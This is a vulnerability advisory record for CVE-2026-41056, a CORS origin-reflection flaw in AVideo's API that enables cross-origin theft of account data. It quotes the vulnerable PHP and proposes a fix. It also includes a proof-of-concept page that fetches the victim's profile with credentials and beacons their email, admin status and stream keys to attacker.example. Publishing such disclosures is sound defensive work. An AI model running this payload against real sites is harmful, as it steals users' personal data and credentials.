{"id":"CVE-2026-41056","aliases":["GHSA-ccq9-r5cw-5hwq"],"url":"https://o3.security/vulnerability/CVE-2026-41056","summary":"AVideos has CORS Origin Reflection with Credentials on Sensitive API Endpoints that Enables Cross-Origin Account Takeover","details":"## Summary\n\nThe `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.\n\n## Details\n\nThe vulnerable code path is in `objects/functions.php` lines 2773-2791:\n\n```php\n// objects/functions.php:2773\nif ($allowAll) {\n    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n    if (!empty($requestOrigin)) {\n        header('Access-Control-Allow-Origin: ' . $requestOrigin);\n        header('Access-Control-Allow-Credentials: true');\n    } else {\n        header('Access-Control-Allow-Origin: *');\n    }\n    // ... allows all methods and headers ...\n    return;\n}\n```\n\nThis is called unconditionally at the top of both API entry points:\n\n```php\n// plugin/API/get.json.php:12\nallowOrigin(true);\n\n// plugin/API/set.json.php:12\nallowOrigin(true);\n```\n\nThe comment above the code claims \"These endpoints return public ad XML and carry no session-sensitive data\" — this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.\n\nThe attack is enabled by the session cookie configuration at `objects/include_config.php:144`:\n\n```php\nini_set('session.cookie_samesite', 'None');\n```\n\nThis ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION['user']['id']` (in `User::getId()`).\n\nWhen a logged-in user's session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user's own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:\n- Email, full name, address, phone, birth date (PII)\n- Admin status and permission flags\n- Livestream server URL with embedded password (API.php:3059)\n- Encrypted stream key (API.php:3063)\n\nThe recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.\n\n## PoC\n\n**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):\n\n```html\n<html>\n<body>\n<h1>AVideo CORS PoC</h1>\n<script>\n// Step 1: Steal user profile data (PII, admin status, stream keys)\nfetch('https://TARGET/plugin/API/get.json.php?APIName=user', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(data => {\n  document.getElementById('result').textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon('https://attacker.example/collect',\n    JSON.stringify({\n      email: data.user?.email,\n      name: data.user?.user,\n      isAdmin: data.user?.isAdmin,\n      streamKey: data.livestream?.key,\n      streamServer: data.livestream?.server\n    })\n  );\n});\n</script>\n<pre id=\"result\">Loading...</pre>\n</body>\n</html>\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 — replace the $allowAll block with:\nif ($allowAll) {\n    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n    if (!empty($requestOrigin)) {\n        // Validate origin against site domain before reflecting\n        $siteOrigin = '';\n        if (!empty($global['webSiteRootURL'])) {\n            $parsed = parse_url($global['webSiteRootURL']);\n            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {\n                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];\n                if (!empty($parsed['port'])) {\n                    $siteOrigin .= ':' . $parsed['port'];\n                }\n            }\n        }\n        if ($requestOrigin === $siteOrigin) {\n            header('Access-Control-Allow-Origin: ' . $requestOrigin);\n            header('Access-Control-Allow-Credentials: true');\n        } else {\n            // For truly public resources (ad XML), allow without credentials\n            header('Access-Control-Allow-Origin: ' . $requestOrigin);\n            // Do NOT set Allow-Credentials for untrusted origins\n        }\n    } else {\n        header('Access-Control-Allow-Origin: *');\n    }\n    // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.","published":"2026-04-21T22:35:55.715Z","modified":"2026-08-12T03:51:26.026265394Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e","label":"WWBN/AVideo@caf705f"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41056.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ccq9-r5cw-5hwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41056"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:26.026265394Z"}}